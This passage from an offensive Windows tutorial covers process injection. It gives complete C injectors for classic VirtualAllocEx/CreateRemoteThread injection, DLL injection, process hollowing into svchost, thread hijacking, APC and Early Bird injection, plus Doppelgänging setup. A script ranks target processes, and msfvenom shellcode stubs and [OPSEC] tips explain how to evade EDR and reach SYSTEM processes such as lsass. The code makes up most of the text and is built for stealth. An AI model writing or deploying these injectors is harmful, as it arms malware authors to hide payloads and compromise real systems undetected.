print(f"{'PID':<8} {'PPID':<8} {'USER':<20} {'STATUS':<12} {'NAME'}")
print("─" * 80)

candidates = []

for proc in psutil.process_iter(['pid', 'ppid', 'name', 'username', 'status']):
    try:
        info = proc.info
        pid    = info['pid']
        ppid   = info['ppid']
        name   = info['name'] or "<unknown>"
        user   = info['username'] or "<system>"
        status = info['status']

        tag = ""
        if name.lower() in {x.lower() for x in BLACKLIST}:
            tag = "[BLACKLIST]"
        elif name.lower() in {x.lower() for x in PREFERRED}:
            tag = "[CANDIDATE]"
            candidates.append((pid, name, user))

        print(f"{pid:<8} {ppid:<8} {user:<20} {status:<12} {name} {tag}")

    except (psutil.AccessDenied, psutil.NoSuchProcess):
        pass

print(f"\n[+] Injection Candidates:")
for pid, name, user in candidates:
    print(f"    PID: {pid:<8} | {name:<30} | {user}")

9. OpenProcess — Handle Acquisition

What it means: After identifying a target PID, you must open a handle to the process with sufficient permissions. OpenProcess is the critical gatekeeper — it generates NtOpenProcess syscalls that EDRs monitor heavily. Requesting minimum necessary rights reduces suspicion.

9.1 Access Rights Reference

// Access rights for process injection
// Request only what you need — excess rights = more suspicious

// Full injection (alloc + write + exec new thread)
HANDLE hProc = OpenProcess(
    PROCESS_VM_WRITE          |   // WriteProcessMemory
    PROCESS_VM_OPERATION      |   // VirtualAllocEx, VirtualFreeEx
    PROCESS_CREATE_THREAD     |   // CreateRemoteThread
    PROCESS_QUERY_INFORMATION ,   // IsWow64Process, integrity checks
    FALSE, targetPid);

// APC injection (queue to existing thread — no CreateRemoteThread needed)
HANDLE hProc = OpenProcess(
    PROCESS_VM_WRITE      |
    PROCESS_VM_OPERATION  ,
    FALSE, targetPid);

// Thread hijacking (needs thread handle, not process vm write at first)
HANDLE hProc = OpenProcess(
    PROCESS_QUERY_INFORMATION ,
    FALSE, targetPid);

// PROCESS_ALL_ACCESS — maximum rights, maximum noise
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
// [DETECT] PROCESS_ALL_ACCESS on non-child process = instant EDR alert in many products

// Minimum for handle duplication
HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, targetPid);

9.2 SeDebugPrivilege — Enabling Elevated Handle Access

// Enable SeDebugPrivilege to open handles to SYSTEM-level processes
// Required for: injecting into svchost, lsass, services.exe etc.
// IMPORTANT: Only works if your token already has the privilege (needs admin)

#include <windows.h>
#include <stdio.h>

BOOL EnableSeDebugPrivilege() {
    HANDLE          hToken;
    TOKEN_PRIVILEGES tp;
    LUID            luid;

    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        printf("[-] OpenProcessToken failed: %lu\n", GetLastError());
        return FALSE;
    }

    if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }

    tp.PrivilegeCount           = 1;
    tp.Privileges[0].Luid       = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
        CloseHandle(hToken);
        return FALSE;
    }

    CloseHandle(hToken);

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
        printf("[-] SeDebugPrivilege not held — need admin\n");
        return FALSE;
    }

    printf("[+] SeDebugPrivilege enabled\n");
    return TRUE;
}

[OPSEC] Enabling SeDebugPrivilege and then opening handles to SYSTEM processes is a well-known IOC. Consider using an existing high-privilege process instead of escalating your current one.


10. Classic Process Injection (VirtualAllocEx + WriteProcessMemory)

What it means: The most fundamental injection technique. Allocate RWX memory in the target, write shellcode into it, then spawn a remote thread to execute it. Simple, well-understood, and heavily detected — but the foundation all other techniques build on.

10.1 How It Works

Classic Process Injection Flow:
─────────────────────────────────
Injector                        Target Process (e.g., explorer.exe)
   │                                        │
   ├─ OpenProcess(PID) ──────────────────── (handle opened)
   │
   ├─ VirtualAllocEx(hProc, ..., RWX) ───── Allocates RWX page in target
   │                                        │
   ├─ WriteProcessMemory(hProc, addr, ...) ─ Shellcode written to target
   │                                        │
   ├─ CreateRemoteThread(hProc, addr) ────── New thread starts at shellcode
   │                                        │
   └─ WaitForSingleObject(hThread) ────────  Thread executes shellcode

10.2 Full C Implementation

// classic_inject.c
// Classic Process Injection: VirtualAllocEx + WriteProcessMemory + CreateRemoteThread
// Compile: cl.exe classic_inject.c /Fe:inject.exe

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// ─── Shellcode placeholder (replace with real payload) ────────
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
    0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
    // ... (truncated for brevity — paste full shellcode here)
    0x00
};
SIZE_T shellcode_len = sizeof(shellcode);

// ─── Find PID by name ─────────────────────────────────────────
DWORD GetPidByName(const char* name) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    DWORD pid = 0;
    if (Process32First(hSnap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, name) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return pid;
}

// ─── Main injection function ──────────────────────────────────
BOOL ClassicInject(DWORD pid, unsigned char* sc, SIZE_T scLen) {
    HANDLE hProc  = NULL;
    HANDLE hThread = NULL;
    LPVOID pRemote = NULL;
    BOOL   result  = FALSE;

    printf("[*] Target PID: %lu\n", pid);

    // Step 1: Open process handle
    hProc = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        FALSE, pid);
    if (!hProc) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        goto cleanup;
    }
    printf("[+] Process handle: 0x%p\n", hProc);

    // Step 2: Allocate RWX memory in target
    // [DETECT] PAGE_EXECUTE_READWRITE is a major EDR trigger
    pRemote = VirtualAllocEx(hProc, NULL, scLen,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    if (!pRemote) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        goto cleanup;
    }
    printf("[+] Allocated remote memory: 0x%p (%zu bytes)\n", pRemote, scLen);

    // Step 3: Write shellcode into target memory
    SIZE_T written = 0;
    if (!WriteProcessMemory(hProc, pRemote, sc, scLen, &written)) {
        printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
        goto cleanup;
    }
    printf("[+] Wrote %zu bytes to 0x%p\n", written, pRemote);

    // Step 4: Create remote thread to execute shellcode
    hThread = CreateRemoteThread(hProc, NULL, 0,
                                  (LPTHREAD_START_ROUTINE)pRemote,
                                  NULL, 0, NULL);
    if (!hThread) {
        printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
        goto cleanup;
    }
    printf("[+] Remote thread created: TID %lu\n", GetThreadId(hThread));

    // Step 5: Wait for completion (optional — comment out for async)
    WaitForSingleObject(hThread, 5000);
    printf("[+] Injection complete\n");
    result = TRUE;

cleanup:
    if (hThread) CloseHandle(hThread);
    if (hProc)   CloseHandle(hProc);
    // Note: pRemote memory NOT freed — shellcode still running there
    return result;
}

int main() {
    // Enable SeDebugPrivilege for system-level targets
    // EnableSeDebugPrivilege();  // Uncomment if needed

    // Find target
    DWORD pid = GetPidByName("notepad.exe");
    if (!pid) {
        printf("[-] Target process not found\n");
        return 1;
    }

    ClassicInject(pid, shellcode, shellcode_len);
    return 0;
}

10.3 Stealth Variant — RW then RX (Avoid RWX)

// Better OPSEC: Allocate RW, write, then change to RX
// Avoids the RWX (PAGE_EXECUTE_READWRITE) signature

// Step 1: Allocate RW (not executable)
pRemote = VirtualAllocEx(hProc, NULL, scLen,
                          MEM_COMMIT | MEM_RESERVE,
                          PAGE_READWRITE);    // No execute yet

// Step 2: Write shellcode
WriteProcessMemory(hProc, pRemote, shellcode, scLen, NULL);

// Step 3: Change protection to RX (executable, not writable)
DWORD oldProtect;
VirtualProtectEx(hProc, pRemote, scLen, PAGE_EXECUTE_READ, &oldProtect);

// Step 4: Create remote thread
hThread = CreateRemoteThread(hProc, NULL, 0,
                              (LPTHREAD_START_ROUTINE)pRemote,
                              NULL, 0, NULL);

[DETECT] Creating a remote thread (NtCreateThreadEx) in another process is the single most-monitored injection indicator. Consider APC injection as a quieter alternative.


11. DLL Injection

What it means: Instead of injecting raw shellcode, you inject a path to a DLL and call LoadLibraryA in the target process. The target process loads your DLL, which runs your code in DllMain. Widely used but also widely detected.

11.1 How It Works

DLL Injection Flow:
─────────────────────────────────────────
Injector                        Target Process
   │                                    │
   ├─ OpenProcess ──────────────────────│
   ├─ VirtualAllocEx (RW) ─────────────→ Allocate space for DLL path string
   ├─ WriteProcessMemory ───────────────→ Write "C:\evil\payload.dll\0"
   ├─ GetProcAddress(LoadLibraryA) ─────│ Get address of LoadLibraryA in kernel32
   │                                    │ (same address in all processes)
   └─ CreateRemoteThread(LoadLibraryA,  │
         dllPathAddr) ──────────────────→ Thread calls LoadLibraryA("C:\evil\...")
                                        ├─ OS loads DLL
                                        └─ DllMain runs → your code executes

11.2 C Implementation

// dll_inject.c — DLL Injection via LoadLibraryA

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

BOOL DllInject(DWORD pid, const char* dllPath) {
    HANDLE hProc    = NULL;
    HANDLE hThread  = NULL;
    LPVOID pRemote  = NULL;
    SIZE_T pathLen  = strlen(dllPath) + 1;

    hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
                        PROCESS_CREATE_THREAD, FALSE, pid);
    if (!hProc) return FALSE;

    // Allocate space for DLL path string in target
    pRemote = VirtualAllocEx(hProc, NULL, pathLen,
                              MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemote) { CloseHandle(hProc); return FALSE; }

    // Write DLL path into target memory
    WriteProcessMemory(hProc, pRemote, dllPath, pathLen, NULL);

    // Get address of LoadLibraryA in kernel32 (same in all processes on same OS)
    LPVOID pLoadLib = (LPVOID)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

    printf("[+] LoadLibraryA @ 0x%p\n", pLoadLib);
    printf("[+] DLL path written to target @ 0x%p\n", pRemote);

    // Create remote thread calling LoadLibraryA(dllPath)
    hThread = CreateRemoteThread(hProc, NULL, 0,
                                  (LPTHREAD_START_ROUTINE)pLoadLib,
                                  pRemote, 0, NULL);
    if (!hThread) {
        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return FALSE;
    }

    WaitForSingleObject(hThread, 5000);
    printf("[+] DLL injection complete\n");

    // Cleanup path string (DLL itself stays loaded)
    VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProc);
    return TRUE;
}

int main() {
    DWORD pid = 0;
    // Find target
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(pe) };
    if (Process32First(hSnap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, "notepad.exe") == 0) {
                pid = pe.th32ProcessID; break;
            }
        } while (Process32Next(hSnap, &pe));
    }
    CloseHandle(hSnap);

    if (pid) DllInject(pid, "C:\\Users\\Public\\payload.dll");
    return 0;
}

11.3 The DLL (Payload side)

// payload.dll — the injected DLL

#include <windows.h>

BOOL WINAPI DllMain(HMODULE hModule, DWORD  reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Runs when DLL is loaded into target process
        // Run shellcode, establish C2, etc.

        // Example: spawn a thread to avoid blocking DllMain
        DisableThreadLibraryCalls(hModule);

        // Your shellcode or C2 beacon here
        // MessageBoxA(NULL, "Injected!", "DLL", MB_OK);  // ← for testing
    }
    return TRUE;
}

[DETECT] LoadLibraryA is one of the most monitored functions. EDRs track WriteProcessMemory + CreateRemoteThread(LoadLibraryA) as a combined pattern.


12. Process Hollowing (RunPE)

What it means: Spawn a legitimate process in suspended state, hollow out its memory (replace the original executable's code), write your shellcode/PE into it, then resume execution. The process looks like a legitimate binary to the OS (Task Manager shows e.g. svchost.exe) but runs your code.

12.1 How It Works

Process Hollowing Flow:
──────────────────────────────────────────────────────────
Step 1: CreateProcess("svchost.exe", ..., CREATE_SUSPENDED)
        → Legitimate process created but NOT running yet
        → PEB, image base are set to svchost.exe

Step 2: ZwUnmapViewOfSection(hProc, imageBase)
        → "Hollow out" — unmap the original svchost.exe image
        → Process is now empty

Step 3: VirtualAllocEx at preferred image base
        → Allocate space for your PE/shellcode at same base address

Step 4: WriteProcessMemory: Write PE headers + sections
        → Your malicious PE mapped into hollow process

Step 5: SetThreadContext: Update EIP/RIP to your PE entry point
        → Thread will start at your code

Step 6: ResumeThread
        → Process runs your code, OS still shows "svchost.exe"

12.2 C Implementation — Process Hollowing

// hollowing.c — Process Hollowing (RunPE)
// NOTE: Requires a properly formatted PE binary as payload

#include <windows.h>
#include <stdio.h>

// Read a file into a heap buffer
PVOID ReadFileToMemory(const char* path, PDWORD pSize) {
    HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ,
                                NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return NULL;

    *pSize = GetFileSize(hFile, NULL);
    PVOID pBuf = HeapAlloc(GetProcessHeap(), 0, *pSize);
    DWORD read;
    ReadFile(hFile, pBuf, *pSize, &read, NULL);
    CloseHandle(hFile);
    return pBuf;
}

BOOL HollowProcess(const char* targetExe, const char* payloadPath) {
    STARTUPINFOA        si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    // Step 1: Spawn target in SUSPENDED state
    if (!CreateProcessA(targetExe, NULL, NULL, NULL, FALSE,
                         CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Spawned PID %lu (suspended)\n", pi.dwProcessId);

    // Step 2: Read payload PE from disk
    DWORD payloadSize;
    PVOID pPayload = ReadFileToMemory(payloadPath, &payloadSize);
    if (!pPayload) {
        TerminateProcess(pi.hProcess, 0);
        return FALSE;
    }

    // Step 3: Parse PE headers
    PIMAGE_DOS_HEADER pDosHdr  = (PIMAGE_DOS_HEADER)pPayload;
    PIMAGE_NT_HEADERS pNtHdrs  = (PIMAGE_NT_HEADERS)
                                  ((ULONG_PTR)pPayload + pDosHdr->e_lfanew);
    ULONGLONG preferredBase    = pNtHdrs->OptionalHeader.ImageBase;
    SIZE_T    imageSize        = pNtHdrs->OptionalHeader.SizeOfImage;

    // Step 4: Get current image base of target process from PEB
    // (Read PEB.ImageBaseAddress via NtQueryProcessInformation or manual PEB walk)
    // Simplified here — assume we can read via ReadProcessMemory

    // Step 5: Unmap original image
    typedef NTSTATUS (NTAPI* pZwUnmap)(HANDLE, PVOID);
    pZwUnmap ZwUnmap = (pZwUnmap)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");

    ZwUnmap(pi.hProcess, (PVOID)preferredBase);
    printf("[+] Unmapped original image\n");

    // Step 6: Allocate memory at preferred base
    LPVOID pNewBase = VirtualAllocEx(pi.hProcess, (LPVOID)preferredBase,
                                      imageSize, MEM_COMMIT | MEM_RESERVE,
                                      PAGE_EXECUTE_READWRITE);
    if (!pNewBase) {
        // Fallback: let OS choose base (requires relocation fixup)
        pNewBase = VirtualAllocEx(pi.hProcess, NULL, imageSize,
                                   MEM_COMMIT | MEM_RESERVE,
                                   PAGE_EXECUTE_READWRITE);
    }
    printf("[+] New base: 0x%p\n", pNewBase);

    // Step 7: Write PE headers
    WriteProcessMemory(pi.hProcess, pNewBase, pPayload,
                        pNtHdrs->OptionalHeader.SizeOfHeaders, NULL);

    // Step 8: Write each section
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHdrs);
    for (WORD i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++) {
        PVOID dest = (PVOID)((ULONG_PTR)pNewBase + pSection[i].VirtualAddress);
        PVOID src  = (PVOID)((ULONG_PTR)pPayload  + pSection[i].PointerToRawData);
        WriteProcessMemory(pi.hProcess, dest, src, pSection[i].SizeOfRawData, NULL);
    }
    printf("[+] Sections written\n");

    // Step 9: Fix up thread context (set RIP/EIP to entry point)
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    ULONGLONG entryPoint = (ULONGLONG)pNewBase +
                            pNtHdrs->OptionalHeader.AddressOfEntryPoint;

    // Apply base relocation delta if base changed
    if ((ULONGLONG)pNewBase != preferredBase) {
        // Relocation fixup required (omitted for brevity — iterate reloc table)
        printf("[!] Base relocated — fixup required\n");
    }

#ifdef _WIN64
    ctx.Rcx = entryPoint;    // x64: first param = entry point (for some techniques)
    ctx.Rip = entryPoint;    // Set instruction pointer
#else
    ctx.Eax = entryPoint;
    ctx.Eip = entryPoint;
#endif
    SetThreadContext(pi.hThread, &ctx);
    printf("[+] Thread context updated, RIP = 0x%llx\n", entryPoint);

    // Step 10: Resume
    ResumeThread(pi.hThread);
    printf("[+] Process resumed — hollowing complete\n");

    HeapFree(GetProcessHeap(), 0, pPayload);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

int main() {
    // Target: a legitimate binary (will be hollowed)
    // Payload: your PE binary
    HollowProcess("C:\\Windows\\System32\\svchost.exe",
                  "C:\\Users\\Public\\payload.exe");
    return 0;
}

[DETECT] Process hollowing is detected by: (1) CREATE_SUSPENDED + ZwUnmapViewOfSection + WriteProcessMemory pattern, (2) mismatched image on disk vs memory (Phantom Section detection), (3) SetThreadContext on suspended thread.


13. Thread Hijacking (SetThreadContext)

What it means: Instead of creating a new thread (detectable), suspend an existing thread in the target process, redirect its instruction pointer to your shellcode, and resume it. No CreateRemoteThread call — avoids one major detection vector.

13.1 C Implementation

// thread_hijack.c — Thread context hijacking for injection

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

BOOL ThreadHijackInject(DWORD pid, unsigned char* shellcode, SIZE_T scLen) {
    HANDLE hProc   = NULL;
    HANDLE hThread = NULL;
    LPVOID pRemote = NULL;
    DWORD  tid     = 0;
    CONTEXT ctx    = {0};

    // Step 1: Open target process
    hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
                        PROCESS_QUERY_INFORMATION, FALSE, pid);
    if (!hProc) { printf("[-] OpenProcess: %lu\n", GetLastError()); return FALSE; }

    // Step 2: Find a thread in the target
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(te) };
    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                tid = te.th32ThreadID;
                break;
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    if (!tid) { printf("[-] No thread found\n"); CloseHandle(hProc); return FALSE; }
    printf("[+] Target thread TID: %lu\n", tid);

    // Step 3: Open the thread
    hThread = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT |
                          THREAD_SUSPEND_RESUME, FALSE, tid);
    if (!hThread) { printf("[-] OpenThread: %lu\n", GetLastError()); goto fail; }

    // Step 4: Allocate RW memory, write shellcode, make RX
    pRemote = VirtualAllocEx(hProc, NULL, scLen,
                              MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemote) goto fail;
    WriteProcessMemory(hProc, pRemote, shellcode, scLen, NULL);

    DWORD old;
    VirtualProtectEx(hProc, pRemote, scLen, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode @ 0x%p\n", pRemote);

    // Step 5: Suspend target thread
    SuspendThread(hThread);

    // Step 6: Get current thread context (save original RIP)
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);
    printf("[+] Original RIP: 0x%llx\n", (unsigned long long)ctx.Rip);

    // Step 7: Redirect RIP to shellcode
    // Classic: overwrite RIP directly
#ifdef _WIN64
    ctx.Rip = (DWORD64)pRemote;
#else
    ctx.Eip = (DWORD)pRemote;
#endif

    SetThreadContext(hThread, &ctx);
    printf("[+] RIP redirected to 0x%p\n", pRemote);

    // Step 8: Resume thread — executes shellcode
    ResumeThread(hThread);
    printf("[+] Thread resumed\n");

    CloseHandle(hThread);
    CloseHandle(hProc);
    return TRUE;

fail:
    if (hThread) CloseHandle(hThread);
    if (hProc)   CloseHandle(hProc);
    return FALSE;
}

[OPSEC] Thread hijacking redirects an existing thread, so no new thread is created. However, SuspendThread + SetThreadContext + ResumeThread is a known pattern. Also: the hijacked thread never returns to its original task — if it was doing critical work, the target process may crash or behave abnormally.


14. APC Injection (QueueUserAPC)

What it means: Asynchronous Procedure Calls (APCs) are functions that execute asynchronously in the context of a specific thread. By queuing an APC to a thread in the target process, you can execute code without calling CreateRemoteThread. The APC fires when the thread enters an "alertable wait" state (e.g., SleepEx, WaitForSingleObjectEx).

14.1 How It Works

APC Injection Flow:
───────────────────────────────────────────────
Step 1: OpenProcess + VirtualAllocEx + WriteProcessMemory
        (same as classic — write shellcode to target memory)

Step 2: Find thread(s) in target process that may enter alertable wait
        (svchost threads, worker threads often call SleepEx/WaitForSingleObjectEx)

Step 3: OpenThread(THREAD_SET_CONTEXT, ...)

Step 4: QueueUserAPC(shellcodeAddr, hThread, 0)
        → APC queued to target thread's APC queue
        → Does NOT execute yet

Step 5: When target thread next calls SleepEx(x, TRUE) or equivalent
        → OS drains APC queue → shellcode executes
        → No new thread created

14.2 C Implementation

// apc_inject.c — APC Injection

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

BOOL ApcInject(DWORD pid, unsigned char* shellcode, SIZE_T scLen) {
    HANDLE hProc   = NULL;
    LPVOID pRemote = NULL;
    DWORD  queuedCount = 0;

    // Step 1: Open process and write shellcode
    hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
    if (!hProc) return FALSE;

    pRemote = VirtualAllocEx(hProc, NULL, scLen,
                              MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemote) { CloseHandle(hProc); return FALSE; }

    WriteProcessMemory(hProc, pRemote, shellcode, scLen, NULL);

    DWORD old;
    VirtualProtectEx(hProc, pRemote, scLen, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode @ 0x%p in PID %lu\n", pRemote, pid);

    // Step 2: Enumerate threads and queue APC to ALL of them
    // (APC only fires when thread enters alertable wait — shotgun approach)
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(te) };

    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID != pid) continue;

            HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE,
                                         te.th32ThreadID);
            if (!hThread) continue;

            // Queue APC — shellcode executes when thread is in alertable wait
            if (QueueUserAPC((PAPCFUNC)pRemote, hThread, 0)) {
                printf("[+] APC queued to TID %lu\n", te.th32ThreadID);
                queuedCount++;
            }
            CloseHandle(hThread);

        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);

    printf("[+] APC queued to %lu threads\n", queuedCount);
    if (queuedCount == 0) {
        printf("[-] No threads accepted APC queue\n");
        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return FALSE;
    }

    CloseHandle(hProc);
    return TRUE;
}

[OPSEC] APC injection doesn't call CreateRemoteThread — but QueueUserAPC on a remote thread is still monitored by some EDRs (NtQueueApcThread hook). It's only effective if a thread enters an alertable wait state; many threads never do.


15. Process Doppelgänging

What it means: An advanced technique that abuses NTFS transactions to create a process from a transacted file that was never written to disk. The PE payload exists only within a transaction (never committed), so AV/EDR that scans the file on disk never sees the payload.

15.1 How It Works

Process Doppelgänging Flow:
────────────────────────────────────────────────────────
Step 1: CreateTransaction()
        → Open an NTFS transaction handle (like a database transaction)

Step 2: CreateFileTransacted(target_path, ..., hTransaction)
        → Open a file (e.g., svchost.exe) within the transaction

Step 3: WriteFile (transacted) → overwrite with payload PE
        → Payload written inside transaction — NOT committed to disk
        → AV scanner sees original svchost.exe on disk

Step 4: NtCreateSection(hTransactedFile)
        → Create a section object from the transacted file
        → Section contains YOUR payload PE, not original

Step 5: NtCreateProcessEx(section)
        → Create process from the malicious section

Step 6: NtRollbackTransaction()
        → Rollback the NTFS transaction
        → The file on disk reverts to clean svchost.exe
        → Process is already created — it keeps running

Step 7: NtCreateThreadEx → execute process entry point

15.2 Key API Calls

// Process Doppelgänging — key API signatures
// Requires: dynamic resolution from ntdll.dll

// NTFS Transaction APIs (KtmW32.dll)
typedef HANDLE (WINAPI* pCreateTransaction)(
    LPSECURITY_ATTRIBUTES, LPGUID, DWORD, DWORD, DWORD, DWORD, LPWSTR);
typedef BOOL (WINAPI* pRollbackTransaction)(HANDLE);

// Transacted file I/O (kernel32.dll)
typedef HANDLE (WINAPI* pCreateFileTransacted)(
    LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD,
    HANDLE, HANDLE, PUSHORT, PVOID);

// NT Native APIs (ntdll.dll)
typedef NTSTATUS (NTAPI* pNtCreateSection)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
    PLARGE_INTEGER, ULONG, ULONG, HANDLE);
typedef NTSTATUS (NTAPI* pNtCreateProcessEx)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE,
    ULONG, HANDLE, HANDLE, HANDLE, BOOLEAN);
typedef NTSTATUS (NTAPI* pNtCreateThreadEx)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE,
    PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID);

// Resolve at runtime:
HMODULE hKtm    = LoadLibraryA("KtmW32.dll");
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
HMODULE hNtdll  = GetModuleHandleA("ntdll.dll");

pCreateTransaction      CreateTxn    = GetProcAddress(hKtm,    "CreateTransaction");
pRollbackTransaction    RollbackTxn  = GetProcAddress(hKtm,    "RollbackTransaction");
pCreateFileTransacted   CreateFileTx = GetProcAddress(hKernel, "CreateFileTransactedW");
pNtCreateSection        NtCreateSec  = GetProcAddress(hNtdll,  "NtCreateSection");
pNtCreateProcessEx      NtCreateProc = GetProcAddress(hNtdll,  "NtCreateProcessEx");

[DETECT] Doppelgänging was largely addressed in Windows 10 RS3+. Modern EDRs detect mismatches between the process image path and the actual section backing it. The technique is historically significant but less reliable on modern Windows.


16. Early Bird APC Injection

What it means: A variation of APC injection where the shellcode is queued before the process begins executing (while still in CREATE_SUSPENDED state). Because the APC fires before any EDR hooks are loaded into the new process, it can bypass user-mode hooks entirely.

16.1 C Implementation

// early_bird.c — Early Bird APC Injection
// Shellcode executes before any DLLs (including EDR's) fully initialize

#include <windows.h>
#include <stdio.h>

BOOL EarlyBirdInject(const char* targetExe, unsigned char* shellcode, SIZE_T scLen) {
    STARTUPINFOA        si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);
    LPVOID pRemote = NULL;
    DWORD  old;

    // Step 1: Spawn target in SUSPENDED state
    if (!CreateProcessA(targetExe, NULL, NULL, NULL, FALSE,
                         CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] PID: %lu | TID: %lu (suspended)\n", pi.dwProcessId, pi.dwThreadId);

    // Step 2: Allocate memory in new process
    pRemote = VirtualAllocEx(pi.hProcess, NULL, scLen,
                              MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemote) {
        TerminateProcess(pi.hProcess, 0);
        return FALSE;
    }

    // Step 3: Write shellcode
    WriteProcessMemory(pi.hProcess, pRemote, shellcode, scLen, NULL);
    VirtualProtectEx(pi.hProcess, pRemote, scLen, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode @ 0x%p\n", pRemote);

    // Step 4: Queue APC to the main thread (still suspended)
    // When thread resumes, it drains APC queue FIRST (before main entry point)
    if (QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0)) {
        printf("[+] APC queued to main thread TID %lu\n", pi.dwThreadId);
    } else {
        printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        return FALSE;
    }

    // Step 5: Resume — APC fires BEFORE any user code / EDR hooks initialize
    ResumeThread(pi.hThread);
    printf("[+] Thread resumed — shellcode runs via APC\n");

    WaitForSingleObject(pi.hProcess, 3000);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

int main() {
    // Example: spawn notepad, inject shellcode before it renders
    unsigned char sc[] = { /* calc.exe shellcode */ 0x90, 0x90, 0xCC };  // Replace
    EarlyBirdInject("C:\\Windows\\System32\\notepad.exe", sc, sizeof(sc));
    return 0;
}

[OPSEC] Early Bird is highly effective because the shellcode runs before EDR DLLs complete initialization in the new process. The tradeoff: the spawned process is visible and the APC is still queued via a hooked QueueUserAPC in your process.


17. Module Stomping / Overloading

What it means: Instead of allocating new suspicious memory, overwrite the .text section of a legitimate, already-loaded DLL in the target process. The shellcode lives at a memory address backed by a real DLL on disk — making memory scanning much harder since the address resolves to a valid module.

17.1 How It Works

Module Stomping Flow:
────────────────────────────────────────────────
